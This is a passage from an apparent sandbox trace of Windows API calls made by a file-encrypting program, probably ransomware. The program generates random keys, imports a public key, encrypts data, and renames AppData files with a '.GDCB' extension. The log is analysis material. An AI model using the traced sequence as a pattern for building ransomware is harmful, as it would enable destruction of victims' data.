data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.491] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0290.494] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.496] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.496] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0290.496] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.496] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0290.500] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.502] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0290.502] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.503] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0290.505] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa2b0) returned 1 [0290.505] CryptGetKeyParam (in: hKey=0x67aa2b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.505] CryptEncrypt (in: hKey=0x67aa2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd500000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd500000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0290.505] GetLastError () returned 0x0 [0290.505] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.505] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0290.507] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa2f0) returned 1 [0290.507] CryptGetKeyParam (in: hKey=0x67aa2f0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0290.507] CryptEncrypt (in: hKey=0x67aa2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd510000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd510000*, pdwDataLen=0x285e050*=0x100) returned 1 [0290.507] GetLastError () returned 0x0 [0290.507] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.507] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.638] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0290.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.644] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0290.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.644] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0290.647] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.649] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0290.649] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.650] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0290.653] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa6b0) returned 1 [0290.653] CryptGetKeyParam (in: hKey=0x67aa6b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.653] CryptEncrypt (in: hKey=0x67aa6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd520000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd520000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0290.653] GetLastError () returned 0x0 [0290.653] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.653] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0290.655] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa1b0) returned 1 [0290.655] CryptGetKeyParam (in: hKey=0x67aa1b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.655] CryptEncrypt (in: hKey=0x67aa1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd530000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd530000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0290.655] GetLastError () returned 0x0 [0290.655] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.655] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\microsoft.3dbuilder_10.0.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0290.656] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd540000 [0290.660] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd550000 [0290.663] ReadFile (in: hFile=0x504, lpBuffer=0xd550000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd550000*, lpNumberOfBytesRead=0x285de08*=0x4000, lpOverlapped=0x0) returned 1 [0290.672] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xd660000 [0290.679] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\microsoft.3dbuilder_10.0.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\microsoft.3dbuilder_10.0.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0290.751] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0290.756] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.758] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.758] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0290.759] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.759] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0290.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.766] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0290.766] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.766] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0290.769] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa870) returned 1 [0290.769] CryptGetKeyParam (in: hKey=0x67aa870, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.769] CryptEncrypt (in: hKey=0x67aa870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd520000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd520000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0290.769] GetLastError () returned 0x0 [0290.769] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.769] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0290.771] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa6f0) returned 1 [0290.771] CryptGetKeyParam (in: hKey=0x67aa6f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.771] CryptEncrypt (in: hKey=0x67aa6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd530000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd530000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0290.772] GetLastError () returned 0x0 [0290.772] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.772] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Microsoft.AccountsControl_10.0.10240.16384_neutral__cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\microsoft.accountscontrol_10.0.10240.16384_neutral__cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0290.801] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0290.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.807] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.807] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0290.807] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.807] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0290.811] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.813] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0290.813] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.813] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0290.816] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa430) returned 1 [0290.816] CryptGetKeyParam (in: hKey=0x67aa430, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.816] CryptEncrypt (in: hKey=0x67aa430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd540000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0290.816] GetLastError () returned 0x0 [0290.816] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.816] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0290.818] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa530) returned 1 [0290.818] CryptGetKeyParam (in: hKey=0x67aa530, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.818] CryptEncrypt (in: hKey=0x67aa530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd550000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd550000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0290.818] GetLastError () returned 0x0 [0290.819] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.819] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0290.820] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd560000 [0290.823] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd570000 [0290.826] ReadFile (in: hFile=0x504, lpBuffer=0xd570000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd570000*, lpNumberOfBytesRead=0x285de08*=0x4000, lpOverlapped=0x0) returned 1 [0290.835] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xd680000 [0290.842] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 0 [0290.870] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0290.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.877] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0290.877] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.877] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0290.880] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.882] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.882] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0290.882] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0290.883] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0290.886] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa230) returned 1 [0290.886] CryptGetKeyParam (in: hKey=0x67aa230, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.886] CryptEncrypt (in: hKey=0x67aa230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd540000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0290.887] GetLastError () returned 0x0 [0290.887] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.887] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0290.890] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa5b0) returned 1 [0290.890] CryptGetKeyParam (in: hKey=0x67aa5b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.890] CryptEncrypt (in: hKey=0x67aa5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd550000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd550000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0290.890] GetLastError () returned 0x0 [0290.890] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.890] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\microsoft.bingfinance_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0290.891] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd560000 [0290.895] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd570000 [0290.898] ReadFile (in: hFile=0x504, lpBuffer=0xd570000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd570000*, lpNumberOfBytesRead=0x285de08*=0x8000, lpOverlapped=0x0) returned 1 [0290.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xd680000 [0290.916] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\microsoft.bingfinance_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\microsoft.bingfinance_4.3.193.0_x86__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0290.946] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0290.950] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.952] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.952] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0290.952] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0290.953] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0290.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0290.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0290.958] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0290.958] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.959] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0290.961] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa3f0) returned 1 [0290.961] CryptGetKeyParam (in: hKey=0x67aa3f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.961] CryptEncrypt (in: hKey=0x67aa3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd540000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0290.961] GetLastError () returned 0x0 [0290.961] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0290.961] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0290.963] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67aa5f0) returned 1 [0290.963] CryptGetKeyParam (in: hKey=0x67aa5f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0290.963] CryptEncrypt (in: hKey=0x67aa5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd550000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd550000*, 